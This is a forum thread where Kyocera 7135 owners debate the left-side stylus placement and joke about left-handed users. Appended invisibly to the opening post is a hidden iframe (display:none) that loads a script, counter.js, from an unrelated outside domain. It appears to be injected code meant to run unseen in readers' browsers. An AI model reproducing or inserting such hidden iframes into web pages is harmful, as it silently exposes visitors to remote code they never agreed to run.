Not that there's anything wrong with that Have you ever noticed that the stylus is on the left side of the device making a right handed user do the 'cross-over' to get to the stylus. I am probably wrong but it seems that more people are right handed and a basic feature would be to have the stylus on the back right of the device so that you could just slide it out with your right index finger. I mean I have nothing against lefty's but.... What am I missing? Any thoughts?<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

Most things are designed for righties so I'm pleased to see one thing is easier for brainy, sensitive, and in general superior-in-every-way left-handers.

Actually, I think they must have felt that having the antenna on the right was better for the commoners.

I noticed that as well... I assumed Kyocera knew what they were doing since they made this phone very "Pro" lefty!

I, being a lefty, LOVE the stylus placement!

Two types of people in the world...
Left handed people,
and those that that wish they were.

:UpThum <<<< Another lefty!

Is this the missing piece of the puzzle...are the vast majority of 7135 owners lefties...is this why there are so few of these phones around!!!

Sounds like the subject of a poll...

Talking about me again, huh Beryl?

I'm prould to have my extreme left handedness in common with you!

I can't believe it. There must be a thing about lefties and the 7135 because I to am a leftie. Go figure!

Hate to burst this southpaw love fest, but remember the phone is advertised as a phone first / palm second device.

The antenea is on the right (Phone function), and the stylus is on the left (Palm function).

So if my equation is straight that would mean Right first / Left second.

Exactly. The antenna is designed for the righties since that is the primary reason they have a 7135. The lefties have more cerebral uses for our 7135s so the stylus was placed for our convenience.

(Just kidding, righties!)

Ouch:wink

The 7135 is quite perfect for us confused, er, ambidextrous folk, actually. I use the phone functions and the keypad with my right hand and ear, and I use the stylus with my left hand. That seems natural to me.

In the olden days, with my Palms and Handsprings, and even with the 6035, I think I used either my right or left hand for the stylus, but with the 7135 I'm mostly a lefty, stylus-wise, dunno why.

Now that I have to learn Graffiti 2, and I am learning it with my left hand only, I suspect I will be exclusively left handed with the stylus from now on.

Being a rightie, I find no problem with the stylus on the left. It took some getting used to at first, but after a week (or less) I had no problem. The stylus is actually easier to remove than the one on my old IIIxe (more surface area to grip).

Never thought about it, but I know 3 people (including myself) that have 7135 (and also had 6035). All of us are lefties.

PS - notice the default thumbs up and thumbs down message icons on the forum are lefty too.

Don't You Just Love Being a Lefty
ZLaunch Even Gives You AN Option To Move The Scroll Bar To The Left. I Like My My Pro Lefty 7135!

I'm also a lefty...I've always been happy with the 7135's ergonomic design. Its perfect.

I'm a righty, and I have no problem with the placement of the stylus. Seems 100% natural to me. I have no idea why you'll have to make a big deal about being a lefty.
